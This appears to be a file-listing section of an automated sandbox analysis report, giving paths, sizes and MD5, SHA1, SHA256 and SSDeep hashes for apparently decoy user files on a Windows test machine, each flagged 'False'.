C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\MSN Websites\MSN Money.url 211 bytes MD5: 74c99f128ec899cafb7acef6f21eb16d
SHA1: fd23257350b512e8161887c252d5ea6cfaef0e72
SHA256: 34407936c625dc5c467d482d1149fe808957992a103f92e959d6a36c011d6948
SSDeep: 6:JxWdfXMcTG/YlG3rsyluekzKoGfwc1X60QjlbeWxcii96Z:3QXRGTsy/kz+fmEWcii9a 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\MSN Websites\MSN Sports.url 211 bytes MD5: bfadf007caa3b07ab72bfc907dd74daf
SHA1: 124a3f6f92e51a942320d9e1a9b0d4b2c962e979
SHA256: 88a386f406e45eb80cf3b7a017522815d4a13f18d16f493a33ec0f7aa277f82a
SSDeep: 6:JxWdfXMcTG/YlG3rsyluekzB+oGfwc1X60QjlbeWxcii96Z:3QXRGTsy/kzB+NfmEWcii9a 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\MSN Websites\MSN.url 211 bytes MD5: e978d61d3cb696be0cd387f6186a972e
SHA1: 778874dee6cf00066396663fb7449d544792c3cd
SHA256: 3c3fd6c81015f4a6ca7967b7a2f3cbb990567151c8bd643dfe0054dc5104e3c0
SSDeep: 6:JxWdfXMcTG/YlG3rsylueklqGfwc1X60QjlbeWxcii96Z:3QXRGTsy/kl/fmEWcii9a 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\MSN Websites\MSNBC News.url 211 bytes MD5: 5e0f12284bc7ec3c06efcccc8051ba5c
SHA1: c36c7bb7518bdd20e88064c0997da405cf691196
SHA256: 7b401b33be3bee89f29854da4107cb320f7596bcaded0c022395395a6e5864c6
SSDeep: 6:JxWdfXMcTG/YlG3rsyluekziGfwc1X60QjlbeWxcii96Z:3QXRGTsy/kzHfmEWcii9a 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Windows Live\Get Windows Live.url 211 bytes MD5: 272ec11d00508172e39d91a8f2e7db13
SHA1: 2489aba4187b5d4d49d09d535c5daed6ddc7a16d
SHA256: 2491d03e0b7c7e8a921297114988a21c926ff4cf265e768be2e5586db97db09d
SSDeep: 6:JxWdfXMcTG/YlG3rsyluekzTsk220Gfwc1X60QjlbeWxcii96Z:3QXRGTsy/kzTs92ZfmEWcii9a 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Windows Live\Windows Live Mail.url 211 bytes MD5: 95da15ade52edeb92940fdf79f6e6870
SHA1: 3752f703a277d89d5d9783ba335d46ce1f19ef66
SHA256: f5c083394a8934aeb9cdfa5ae1856c74b17fa599e52b503aa331cdc5747292f0
SSDeep: 6:JxWdfXMcTG/YlG3rsyluekzgoGfwc1X60QjlbeWxcii96Z:3QXRGTsy/kzgNfmEWcii9a 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Windows Live\Windows Live Spaces.url 211 bytes MD5: 73c8ca9ae8ed7f1e30675f2b6d41b7c3
SHA1: b940ab3043542b8b7a31a2d778235006da09e7ae
SHA256: b32fe87865a5afca4fda9f9046785e5bcc6a6e17db9d4e4f59177c7e7921b7cb
SSDeep: 6:JxWdfXMcTG/YlG3rsyluekz+BoGfwc1X60QjlbeWxcii96Z:3QXRGTsy/kz+bfmEWcii9a 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Music\nV -iFyrHbXVLVuM\0Qf-sRlRO YRMK9.wav 44.91 KB MD5: 85edf097e3d71ecf4f9f9df250b17de4
SHA1: 5dd86ecb64080892e57383189da4104f4ec95cf7
SHA256: 5b76efd671aa2b03ada55ca7a0a8ed26d8c474a4106bb04dceda7a44081601f0
SSDeep: 768:gNJgBqGjbER3OI1qETSLGaKZEpL7VAY7THOOBfO/UbTC5gqaX+5K/L6r:gwBFER3OI1qGSLFKZS5THO8kUbe5gqoA 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Music\nV -iFyrHbXVLVuM\6HV_cSvNUwVhwYq.wav 82.67 KB MD5: 0ff29f25a58cdca6a1d0d9b5a725e6a8
SHA1: 5d5e54aa4fbbec4e6306c6fe8078bfe23047bc2a
SHA256: e8f6ca66ad05bd8dff9c490318b6874cce14edd254307f862a9892a8aafe013c
SSDeep: 1536:gVojbpUcqZtT5xJi0sCizpWzHgUshYuxNKBOFZhuZJBLJd52xvHPP:3NctTbJiTFzQzHgUJubJKBLYxvX 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Music\nV -iFyrHbXVLVuM\953YBi3u.mp3 61.92 KB MD5: 3a954778809ed3430e321c8d4eb37bab
SHA1: 7265bb011f40b59d682be6e30957514dd82b58ac
SHA256: 75a341301db449dac365aa91df13aea853c377d6426fad803bb2607a0c263466
SSDeep: 1536:3wqLCCtAKEi6RbltC+u4cBdiHmr96eo2yH+Fhhq+pYZv0FxZ:3w13igbXnI3wex6sxZ 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Music\nV -iFyrHbXVLVuM\IDiIl91AYgIq7HA6_.m4a 53.55 KB MD5: 8bdbd9fc30307486b752782b21286655
SHA1: 0b0e32e3adaeea108dafb4941f4f0116fe5d5ac3
SHA256: 3ad7cf462c128bd174962c231b722acb9b01c2e9b655f9cd1174d0fb4da6bc6e
SSDeep: 1536:qt+H5Rwxk1uffA1nhl1vpiVxaxdgQmZxvaMq/FX/7D:qkZionh7vpFdCj9qNv7D 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Music\nV -iFyrHbXVLVuM\PO7Eqm6 3wk.mp3 79.01 KB MD5: 72040fff0b3eb21a38320773e3528cf4
SHA1: e7c230aff03cbcbf6c0e763dd5a2f036f2b3d5c4
SHA256: d61358173b28369377ed85759f9eeb702c96683b69c53a5e9609846132be5f59
SSDeep: 1536:+Hz2JalEnUoGq0ylRCMZIJgdALMgg5n6/xE3QaDVqbLFbKSJbSIjHP72Hi:w2JHUoG+CMeJQtgCamQoIL0CbVvf 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Music\nV -iFyrHbXVLVuM\rrjW-8lVtAyz6CB c58F.m4a 6.85 KB MD5: 09171116a23b3b2209ce764a5efae39b
SHA1: 4359c7fd8be698287403421acf761c61b442e4d8
SHA256: 289aebf06d353b70b4b1cd71d8b9f1eff1cc99d0c8ccc811b3076338d3afebb1
SSDeep: 192:Ghp6jpDY/wGnI9KyTBw+qvMPOuMFCpmkzT:s6jphd9Kytlq0WlFQmkzT 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Music\nV -iFyrHbXVLVuM\TvM2NRbZu cHPtd OkbD.mp3 11.41 KB MD5: 85de464810ed8e15223ff03ba63ed7ce
SHA1: 417d167bea9ebcd1a1f006f6fae020b2e5231c44
SHA256: 08aeac4773f75b25753b2d3a5806b3973f4c670ec093a21f16b631a778db78dd
SSDeep: 192:3BPHp1eMpbpwIyOSnLY9lA0SkJYMPJEoDS7YEPUiTuV8mnIZOGP7R2jwSvNYWrWr:RPHpNpwIy9EfSkpWoDBiTuD47MqWrWoe 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Music\nV -iFyrHbXVLVuM\YkQ2Zd.wav 96.78 KB MD5: 02d02990c092abbe34e2b29d064018ab
SHA1: 24cd7ee09535c28b390ec0d413941ad69f862008
SHA256: f2c1bfd21705faa728ba7b8b9145415202c3d0c62880120770793108bedb1a01
SSDeep: 1536:gSal2sMyIG2f7czMiSs3Iox6qfY4pnC8V0ojEsQT/z/au35obYNcTpb6cQAmgCNj:fFyIpzcNIokqXnCWusq/az8cF0AxCgO 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Music\nV -iFyrHbXVLVuM\ZN52hee3SS1DkjLr.wav 2.44 KB MD5: ee877fe2de83f7897c8d229bec7da329
SHA1: 298c01fa50b629ac1a0d6dd084c713d1ab0c3d25
SHA256: 576191d1aca7a218a6d9873c1a0127aef2f1b2064aa61fa5ee4fc11d8bc74279
SSDeep: 48:gT4TpQNKt9M1oyIFLMIGbtKSDCmjn6z/tUcH37a+pL/98Us2D:g9NQ9M1oy8MIGnmmjn62GHL/x 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Music\UFF1TS\benH5y2SX1xIrg0bSF.m4a 28.51 KB MD5: b2f48ece17e9aa0d60484f78439afe43
SHA1: 444cc7d66603a4ecac7d69d96ebcaa924488773f
SHA256: 741c592bf23a8d7dbc554e0bd51742c51729b1b8b8a71ab4b75f7cda7f187117
SSDeep: 768:IK1OqUZKV4kOhD3rrUoKzk02K95kAigmL1p3:9ObZKCkOdrUoKQ0VAfL1p3 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Music\UFF1TS\cemw.wav 44.78 KB MD5: 28e0adc2945a7d55b3d9eb492de59197
SHA1: e5fb948f167379304546cb72ed69401682a1b867
SHA256: 715f8f13e477f9b9eb1d3cf02c31de2e72c8d6a1d656207604ed607f4e9558cb
SSDeep: 768:gUk/U+iiDwO85icED9f9sIqDchJWDNQbKyC3kYZ9feUWKwESn3RixWm6SpA6D7ry:gUks7gwOYHAf9cDchJWDNyKPkYXe/Kw5 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Music\UFF1TS\iCs-vS.wav 99.17 KB MD5: daf596d371cf79df98e028f1934609a2
SHA1: bec3744cba1e029ce2a71735e3a7a9d9efbb5866
SHA256: 28b401dce0d5a2e8c8042b0d976be484e9b30f85380c8a9db915f9be7318a0eb
SSDeep: 1536:gEkmZkUE5QcUfpIWE6gbG5B62PcL5+leqech4TXCrfCfdj6ukKzloaJPbhaS:8QcYpIWdMgvw84rafYkuX1YS 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Music\UFF1TS\neGejl7TOddT.mp3 16.25 KB MD5: 2633b996b54d16a5836ab3f4dcf7f9cc
SHA1: 91a5e331a905b597a5f5bbb67b5742209735dfca
SHA256: 6af1a9461d00e3716ff98f169da100cc5bf49232aef6528a2b7d9005fe933501
SSDeep: 384:/S63PLMWAQAmrdSdKha4E3N1liX+c1GvmosxR6ZhyyHb7j5GwzzxRdS65dM:/nDMWAQAmQkc31MZ1GvmVo75TxbSl 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Music\UFF1TS\SoXdS.wav 26.92 KB MD5: 3d7cdaa7368367169f79d6934d94136c
SHA1: 391471a127b6bac2a0a361357c276990d4c19901
SHA256: d14aea6752637cc143ddc2b90a4e571ab2a4e07b2825b0b99c8c28da88b29b87
SSDeep: 768:gb7FykWSEqKUtCism7vq9mNVBmLieOi3bTn:gbVWqzTb7iETmLJOQbTn 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Music\UFF1TS\ttPbZm5ivBn SG4OL.mp3 15.40 KB MD5: 401a5afe4c4377d4870d65908c4adefe
SHA1: 9fb2bcc121ebd499426f62ae9985e837aac2a840
SHA256: ca45c11ee3418e3f826f34d08ac48b93dbc059087bf3440b591af00a0114c57e
SSDeep: 384:+qO7IRLwvwRRUPerITgf6/EAsHJB9CsJHArzebww:+pwRuonf6/EJ1JHAzO 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Music\UFF1TS\_5Qx7lEGVjKpdcq.mp3 4.26 KB MD5: 9df409fb3e107f5a2702338468a6a38c
SHA1: 4c81210ac1b745cffb8fcfcca515e19396e4eb8b
SHA256: 91b6fa0714f02c8bc1a600ff6760309538c01e87e65aeb8bdc05f4732345b395
SSDeep: 96:IOkBBfLYC8v6kWr8c65F05eplsATSIgw46t:IBBevnZphXNSHq 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\1E-1x-bA_f\0pL6.bmp 62.66 KB MD5: e1db5629751930492744ee6652542cf0
SHA1: 739595b4b7a10a4c712f2d67940fa5fb1f7e4454
SHA256: 08892cb4f93b8d3ed60fa7adfd60cec9759ec749c03bbe22181a454bf25ffb3e
SSDeep: 1536:1WDaeHZckZgHXtJISz4fYjOCsCviqYVmuyGwaY:1ZmAnfz4fKshVI 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\-zbo jfn3hfrTF0uU6.jpg 5.09 KB MD5: 24f3c3c8ceb98716d8d76a1c50e03c9b
SHA1: 20efa0951e5730bb84b0ae59c5cd185e56ef2ba4
SHA256: a8a0b73079237aea2f0c9c18684ff28004572a2d7f7eadb0bb6dd61eb637af87
SSDeep: 96:Bs1IX0LHeWZoLtBwVH3P/WxxlbaLPXiPpAjHxPmw9Q+zY/BUyiDHSHos+XFipnLq:BssoeWeLtkXPOJESPa1+QzY/BUywyHLi 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Videos\x4sMoy\-UgYo9aAU h.avi 49.74 KB MD5: 65f90dac4c700868d4916d82b2d92b6c
SHA1: 1a7efa4c711da749b5cf901ebae89378530abd92
SHA256: e25857b23869787adb5738fa3cb2b19563f78e079a579f0f57b245a93592b0f8
SSDeep: 1536:DMnFwgc4+6iSJRz+mt7zk5qXGEIDA1fbZ9+:DMugc4+RSPX7ID4bZQ 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Videos\x4sMoy\e77CID6eVsb.mp4 26.14 KB MD5: d70b32671c91f8c8c8e74cc8874c26a1
SHA1: 23fda3fd89fea146e9f656a1ad132e848806da2f
SHA256: 36b6946cfaf07b053de1155f19e7bba1686386579024d02bea7aa1c9182381bd
SSDeep: 768:B4XwND57RF+fzVZL3d1vfRdMs52b+Nmow6j:bNRmfbvL8V6j 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Videos\x4sMoy\vBaKWI7Uy49TuUWs.mp4 56.35 KB MD5: 592e70214a4954c487a5e414a5426522
SHA1: b662cf590a7a1926cae54a529d258c80fff6ce62
SHA256: 5a3e633b6f706fddadc0df6e7e80b9548ac6df24a01aedfa6fe6cd001ee82349
SSDeep: 768:Bazgu6ZsnkcCzN1SKiPRhtCRoB/bQEgDqWD3ncEoz6/awU5OrQnbK3toLuD7gP0H:BaMu6tPN1SKiJht7Pg+u66ukoLOXVV 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\7zbK-lw.mkv 81.07 KB MD5: ae3bde57d2ff9453ebc3a5592eef79f2
SHA1: 11503d5bcc853c3dcf1d5818177e4964e49d0914
SHA256: 39c2b9292b62f4e75a1ad3c7b48ecf985e800d2609e81c93763722520ad1de04
SSDeep: 1536:yHug/SweR2Uamex7jojQryonlFmDaN6qfjZ3KekELeMFSluFmok:rZRImepbyonlFmk6AjZlxFiTok 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\My Shapes\_private\folder.ico 29.30 KB MD5: 3217f97dbdba4a8956cf0311da61c74f
SHA1: a48a1134bab2c41913577d0ab526d25ad18ac44c
SHA256: cc9f2cb542ec3bfe741a3c58d2298cd933ad6c9f784f9f972eeeb23856f714bb
SSDeep: 768:kQCV5BbRXkMfyjCKzJT+YmOpZxCtQrIUNghZHAS:4XbajCKtTDm2cAIUNCAS 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\OstAGQ_x8J4h\GYsSjG-g6A Jpf\4stR3pzmU2IjQjPCv2.pps 43.39 KB MD5: 1995b23551a1b74afeb652bb63d61ce6
SHA1: c0d14f892afceed3e3092b736bc1212d813b7693
SHA256: 98c5def9ec45a06653a4dd6cd41461a803e950f181018c16875645cda3a43bce
SSDeep: 768:fhQxpqrPGgCl5EZ0jBk7PKc4vU+a/6HmoNtET5WIXY23kDCqeSPDfXTmMFap+:KxpqruZlAIW7PKcGU+m6mowAIXY23kD3 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\OstAGQ_x8J4h\GYsSjG-g6A Jpf\9iXgtByQq.doc 30.33 KB MD5: 3885e391e128e003a0e3a3194fb439f2
SHA1: b6d8de7e14f552eed104c0d8074054091f428b1d
SHA256: 5870c7b0d52f348007b048a552a3a598fcb87068850c8a823611914cd1320d85
SSDeep: 768:g/B9nKZOE53Wy3/K6bEEvz96Yp2j4GAdIJTriuHnV:4nG/5Gy3/xbz960Id4IJTXV 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\OstAGQ_x8J4h\GYsSjG-g6A Jpf\bv9GJsGpfm.odt 91.23 KB MD5: 36d332ed47ca9e70fbaf02ab6b7b16ad
SHA1: 0db972c4b4d2611ae35c93931a053ad055f9abfb
SHA256: 360a321f84572df978801e2313946d83125f120614eda9e4ff06860bf956cb0d
SSDeep: 1536:5AqH6R9ztW9tqOONidj0QvNjjxyxdZ74WsPFbVxf7q7HdoAx03cEl72UXZ4T:aqa7JW9t3Owj0QzyZFs9b/f2jH0MElzQ 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\OstAGQ_x8J4h\GYsSjG-g6A Jpf\c1Jyfiy2PqeG94Rl8.ods 26.77 KB MD5: 4516adb9deff267367fd4b9c689e29ae
SHA1: 511d54d8b5601cddfc4006b52f0f62b87d526b66
SHA256: 1ba1093003f9e735dbdd30e2b2b4ccf698c5c16534b3b02fd01e608720764c0d
SSDeep: 768:vHLtrTBWMasu3iJ9TR7PXDWxwQMSE/VqJy:vHp8Ma6F7/DWASMVz 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\OstAGQ_x8J4h\GYsSjG-g6A Jpf\p-btCK5P5-k.odt 94.08 KB MD5: 8a61f82c1ab8a4d02ce884eeb8b315f0
SHA1: eeee2ea4ef216c4bf7a0e332075a2572cd6d8d98
SHA256: 23debfce152757c6a9e7fc0e26f4cb27fcb2cd21b8ca5e1880e44ac5fe170d43
SSDeep: 1536:5880SjQNnzLxuoSmCGkzspxJowCHj+1QmW60jdCmb5pRAE6Iskp/em:5B6/xuLZaxJowId6c1b556Bkhh 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\DpUR93 xREUOdJVi.png 82.85 KB MD5: c65e561e159b6d264c91f07ec63f5c0e
SHA1: e70a9e1606b3777bb855dbb5939f8e3247b378b1
SHA256: e22dbcc624f2a8412d25af1fdd4719a0b1ce91612c87e16f8ba9f4be569e0839
SSDeep: 1536:g4qBvZBDVhbY3iZhO+s8V3pZITxp16Q56N/VBpBprh9JDWN+/n9X:aRBDVhcWs1i/IQ/lhWNM9X 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\nf3YcZ LLVZ7 8gtH.gif 97.57 KB MD5: 7620483fde596d2c177c5490970502d7
SHA1: 23e2862ea1c4d7f9b9fc7673383a8d8fb4db6b9d
SHA256: 6e5e5b50c3ee45f931103190ea126577a3539ab26d8a08ec2db5a8eadfddde4a
SSDeep: 1536:rf0hiRDQDF8l3aQHNwdRV1Xssq+m0Gwp8DznO+i57HN+Y9LuyBNOdu+:r1ux8lKxddXssqIGwWDfu7HNdBNGt 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Videos\x4sMoy\9IrqcHW4ThsWoTp\4p5iJ0lNQ.flv 8.24 KB MD5: ffeead8d8e1b81ff8ab17f234da196e8
SHA1: 534ddfb2733a18c1ca7559e03a511623f1ad6246
SHA256: 282a79b520585a42b7e23bc26e133d2a6974e6f7eaffc407276fe1025e163a6f
SSDeep: 192:SyFccAXDmlXuQXBBVexG2mQ0yryp/6KzFeSTENGcCpAUe+09iQ:SyFOGR/eGbj/E8ENG9AN+miQ 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\4L6Z\NHai0BU309Bkv-O-.avi 91.46 KB MD5: cb0c089c5f08f182054d9fc812e23e5e
SHA1: d31f311fcbd56c97d059f397bdf597b1e18eedb0
SHA256: 1753171ddabec29c577fcafbe6220a365881e6d61774869f2b926e92cf772929
SSDeep: 1536:g4RUZG1pu5ovKXjl63uGAba6SqoZnd05/dq//D8PMSVLBkD3wjxdgrFP9v+lBGwx:xmZiu5sKzl63RABSqogvq//D8PMcLGmx 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\4L6Z\OwRMCKP7D2.mkv 46.58 KB MD5: 0dc905ef2767da88b7b67370fb07c8a3
SHA1: f3af290ebd17eca6d8bf4634046780a04c80e57e
SHA256: c69082bcde6f58f8a6b74db963e6862cf3aa1f620f042fcbb9e1509f58391b88
SSDeep: 768:UQWq71YYtwtpAO6ZSBtmyeTeWfsZuGMFzuBcD+by0+MqaYQ/jwWMZxqCt/AkJy5+:UFGBU91YeWEZ/5jYyMZPIkOAP 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\nOWtjkGkh\1NyKTTnONVZsk.avi 31.30 KB MD5: aad4de4fefa987f931f31398e733b635
SHA1: c35b85df593a4940a3cd6677e63c8542570687c4
SHA256: e132efcfb1154975d0013ed092e8aff1db841c8eebbdcb7d9da5cfca08cb7d6f
SSDeep: 768:C62XkID1c60SHjQntwT0+ve7RG7VVrdnl+pKF7m8:12XkS1cnSlT0YeELd+D8 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\nOWtjkGkh\jsWtpdCwPYsyb9M.mp4 100.00 KB MD5: f0fdbb5b34183de53aa6837e1536d256
SHA1: 92cbcca8b13a479389e3a39fda1029c8ae8b83fb
SHA256: 6acfb1f8dfb4276239b9edf624b993bcd1c2b0f33b2b7253486f9c0f83fa914b
SSDeep: 1536:hduC5GdrJ6K0rvSzmsncBbxsPDDjFycyCuSMCxm36hOKb1+mpAZ+PEMOrZ1vU5f:696KqfHboDDjCkZJ+mpAZ+PEMuvcf 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\nOWtjkGkh\V99IOj.flv 41.25 KB MD5: 9245daf2700cee66b6a2c19c868ba925
SHA1: 744685d8913444f70ca1b1609efbfaaf32cf5393
SHA256: 4eff581c82e44a3858cb9d0066febad58fcc3db046307e18e65a066ad53eb6c8
SSDeep: 768:+722yf2MCBd4iGaJ8ag5olvpVO2cFf2xbR0txuHaUX8w/mD5vj:+729fZCBdpJng56vPO994RVLX8p1L 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\qp8C\ci6IimcnO8zr.mp4 60.67 KB MD5: 0925634bebcc737a2966e6bf9383c95a
SHA1: 7223930abd14212f9e30829a74204b7e30e012bb
SHA256: db9330025c286271799aa14d61af3dbe45deac515072d52979031c13129d2b2c
SSDeep: 1536:P+ej+c/vtHsAV98gUAbj/U86XamMx2JfId9EAaEckpMm:P+ejd/FHBv8glbrU86KmMMe9FaXkn 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\KL GUyg5\LnHpzG.gif 85.85 KB MD5: 691669d0c5708884c8353faba101d582
SHA1: 2b2bc7e1981b8edba351cce9812c1641e528bdd5
SHA256: 01aa7b62d0136e168b2c987305edc82dd46ae06c3feb1c5901239477f62e04ef
SSDeep: 1536:E+v5Oq7DoB3diRKuMogYaaBJmqlwCHhEMvcrplLLld5Jp:bxQtiwzYaaBJmqesLErZz 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\xGbG96m2n\7zAHSAO8Qhdnj4k.png 12.14 KB MD5: 3812f9563a3107d79632249e75ddf46f
SHA1: 34530d24a08418c4ad2113e2fc352093f88eff66
SHA256: 91f87af96b6b10e977e3dbf5c1d46d04ecdcf14426df15533ed04da571875c9c
SSDeep: 192:WwcqaVbg59UiD3YM4+AavXGVuF1B8VaLAwUh5xN+RQRAdBW2dCHmz7Ni6XuI78E:WUKbgI+AMt45xMhnPCHmn9 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\xGbG96m2n\aW1PsgN2xsPJR.gif 96.12 KB MD5: 72590c7b3257f32940b1911c53280b1c
SHA1: 3064e80d3773983e42c59df2dce5bf3db368f30c
SHA256: 39a4b38487f88d02f84b1f0f322f473bfe2c8ead14013f7a76e9d43762e42a02
SSDeep: 1536:BYNPe8UIttpfcwhpalV0222kU4sc++Y8rliu0ZTDcIrhPlbub0CPUxwHJHwgt3IP:qN28VmwhMKU6r8cSUjPewpHwgtYP 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\xGbG96m2n\u8 nslHY.gif 3.82 KB MD5: 246648ddd31c0719a31ddbc510713d93
SHA1: 429a5f7e2e1df163485b187e5d7825d281d6d79e
SHA256: 30cddc30eb5470c50d3d38cadc6bcbcf90182231456641da937354884b292735
SSDeep: 96:pz4GXwoG8SuobjjJnZw2zghmj2ft7fouKsJWu2VP:t4GgJnuyjsqghmjy7guK4OP 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Microsoft\Internet Explorer\DOMStore\index.dat 32.08 KB MD5: a400c9823be2db6114e5b30572da8999
SHA1: 4c0d40f4ec89c8e9e660287e08b3ee2e35c941eb
SHA256: bae692a9873f38f1703d72357486c2b4a6eb79bf4dc1297ce3991756e1b924c1
SSDeep: 768:4DDRoWVbuESM3zCSr/cjvHAqg7hKRwyNBTE33xRh7w4UA8:+9fVbuESIzCSrEj4hOwy3Q97w4Ub 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Sun\Java\AU\au.cab 568.17 KB MD5: 69e7a3ada004f312a6e3837666d4ea24
SHA1: 9710d113c697f7d23fc079e0a6d2f661511cea00
SHA256: 6ba96a8903333f2e58d0aa07037139c90322eb33366d913011677eccd1470f48
SSDeep: 12288:0oLsRDQU+tKpG6jY4hyMPezVNK9TcS5RyjDUI6Eh/MOhTS:LLEP+opMMPgyTx6jDUbE2Ie 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Sun\Java\AU\au.msi 181.08 KB MD5: 707500d97e9e83a90c4d7c7ee9bea25b
SHA1: 6325b9c59b391118e533a98001d9203d333cb28e
SHA256: 14c08c6462667c63f59a76322b867a9fb6de42c0238774215d08f80cf704f685
SSDeep: 3072:zmsuLRA1D0EXs85bAg4LJzKiFDdpXbc7nAQUZSHR07wxUus3C/oW2qGC:6su1ABt8wbPUFLXbGUZSi2HxoW23C 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Sun\Java\jre1.7.0_45\Data1.cab 24.17 MB MD5: 727b52c3c61df02b5f3586f4032ef429
SHA1: d0a3c9b915dfe2e2c486d4a521a6b4fce4d4c7f4
SHA256: 2a246b4233c59057b5e8cbd58345e175e0a0e010748e78553daa8856614a91a5
SSDeep: 196608:1WdNm7l//upum9uxpfp4uZ8q7zEqaZswqLhQTcvlj9/z2H7DLKH8:Pl//upum9QtEqaeqc3/iH3mH8 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\KL GUyg5\aoQ9WvOr9RAjhS9\6rXGcCpaY5U-.png 51.24 KB MD5: ad227985dccdffe6a600c632fa29ed5c
SHA1: f7013ce256255c60aa1ed5ef78320f735562ef90
SHA256: 3e40c60efb8569cf845525a3c6f8c0eedc9e5626f839d7dcfd561197236f0cdb
SSDeep: 768:nA3z/A5DJ7ldsYvCPAo4AZoyJrURhLXIzl8CpjgIGng8eq:ADYN0qqZo4YRdkl8Cpjg88eq 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\KL GUyg5\aoQ9WvOr9RAjhS9\rzr43Df_s8poAvL8Y1F.jpg 15.56 KB MD5: 879b5f750e4c8ca27fb0beb1bce545eb
SHA1: ffffe8ec67732ac0f20249170f0ccf083ed0c3e0
SHA256: 6fc91ce19e0a2244775c00eb4dc52ee41cd675d9510eb95c45489a83ab4c92c1
SSDeep: 384:FL/Ked0LlvHI1kHynqD5PBXFSip8EE3FF2yL7+d9/KMHBbq:FL/KecQBnqtNp8EE3P2c+7i+Bu 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\xGbG96m2n\M-hu89hh2q0KW3MDUa\VqBAzwGqo.bmp 86.85 KB MD5: 3db51f4e1ecc68de5ac1f616d5d4651d
SHA1: 5a3e96f116238d2d247e5d73e32c29b0aa5df704
SHA256: 1975e9178ecf5f45af786475482c03a29d6fe2e0da40b6d5feeb43fb95875e1b
SSDeep: 1536:UQMJjltQQPPFYa5kCRdh59HGdRPkOKqurNn2IBA1yuDhFRypXV5fbTGnmeSPrb:URPPFYskCRb598RMOKTDO1ZypzjHH 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\xGbG96m2n\Ti8zEuhb9G6\ydXSSVPNKJrpO.gif 30.79 KB MD5: 2f89e3651f83a86791a1d2d80411acef
SHA1: 13709e723a7fa39edbad126887bd325ade535d3f
SHA256: 39f1ba85b0640e1076b5cbe97c98f35cd4ee4277d209c011f76264f8aa77cea7
SSDeep: 768:9LjPIzbLZk+ZeqSNA1Ce6JBbHTcCfAsfb5nLtZkc3LGGW:9LcnLOXDA1QxHTcCYm1L7EL 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Microsoft\Internet Explorer\DOMStore\36USA68T\imagesrv.adition[1].xml 91 bytes MD5: f2c3f43eecc5398f9fd893d661781b0a
SHA1: 0c8c91ca35b407a6e5c64250b6587dc2c794a935
SHA256: 861cd726f62a6661aa88bd22fcadba719f8c587ea03b51dfc071f0ec142cf0c3
SSDeep: 3:Dp76KeDA1Xju0QjlTXeWoTsncIFiRHIgHaRT:d8c1X60QjlbeWxcii96Z 		False
...
